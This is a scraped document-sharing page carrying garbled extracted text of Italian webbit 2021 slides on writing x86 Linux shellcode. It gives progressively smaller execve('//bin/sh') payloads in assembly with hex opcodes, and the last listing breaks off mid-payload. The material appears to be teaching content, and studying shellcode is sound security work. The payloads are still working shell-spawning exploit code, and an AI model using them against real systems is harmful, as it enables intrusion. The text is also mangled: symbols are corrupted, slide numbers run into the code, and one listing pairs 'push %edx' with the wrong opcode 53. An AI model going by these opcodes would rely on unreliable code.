[經(jīng)濟(jì)學(xué)]howtowriteashellcodeintermediate(編輯修改稿)
2024-11-15 02:20 本頁面
【文章內(nèi)容簡介】 9 6e 2f 73 68 ? Possiamo fare “push 0x6e69622f” webbit 2021 17 Nuovo metodo di costruzione per /bin/sh ? Problema: la stringa e’ di 7 caratteri (disallineata) ? Soluzione: usiamo la stringa “//bin/sh” push $0x68732f6e n/sh push $0x69622f2f //bi webbit 2021 18 Nuovo shellcode (25 b) xorl %eax, %eax 31 c0 push %eax 50 push $0x68732f6e 68 6e 2f 73 68 push $0x69622f2f 68 2f 2f 62 69 movl %esp, %ebx 89 e3 push %eax 50 movl %esp, %edx 89 e2 push %ebx 53 movl %esp, %ecx 89 e1 movb $0xb, %al b0 0b int $0x80 cd 80 webbit 2021 19 Shellcode (24 b) 169。 awgn amp。 quequero xorl %edx, %edx 31 d2 push %edx 52 push $0x68732f6e 68 6e 2f 73 68 push $0x69622f2f 68 2f 2f 62 69 movl %esp, %ebx 89 e3 push %edx 53 push %ebx 53 movl %esp, %ecx 89 e1 lea 0xb(%edx), %eax 8d 42 0b int $0x80 cd 80 webbit 2021 20 Shellcode (24 b) 169。 awgn amp。 queuero lea 0xb(%edx), %eax 8d 42 0b ? lea spiazzamento(base), destinazione ? In questo caso %edx e’ NULL quindi l’indirizzo assoluto caricato in %eax e’ 00 00 00 0b webbit 2021 21 Shellcode (23 b) 169。 buffer amp。 alor push $0x0b 6a 0b pop %eax 58 cdq 99 push %edx 52 push $0x68732f6e 68 6e 2f 73 68 push $0x69622f2f 68 2f 2f 62 69 movl %esp, %ebx 89 e3 push %edx
教學(xué)課件相關(guān)推薦
鄂ICP備17016276號-1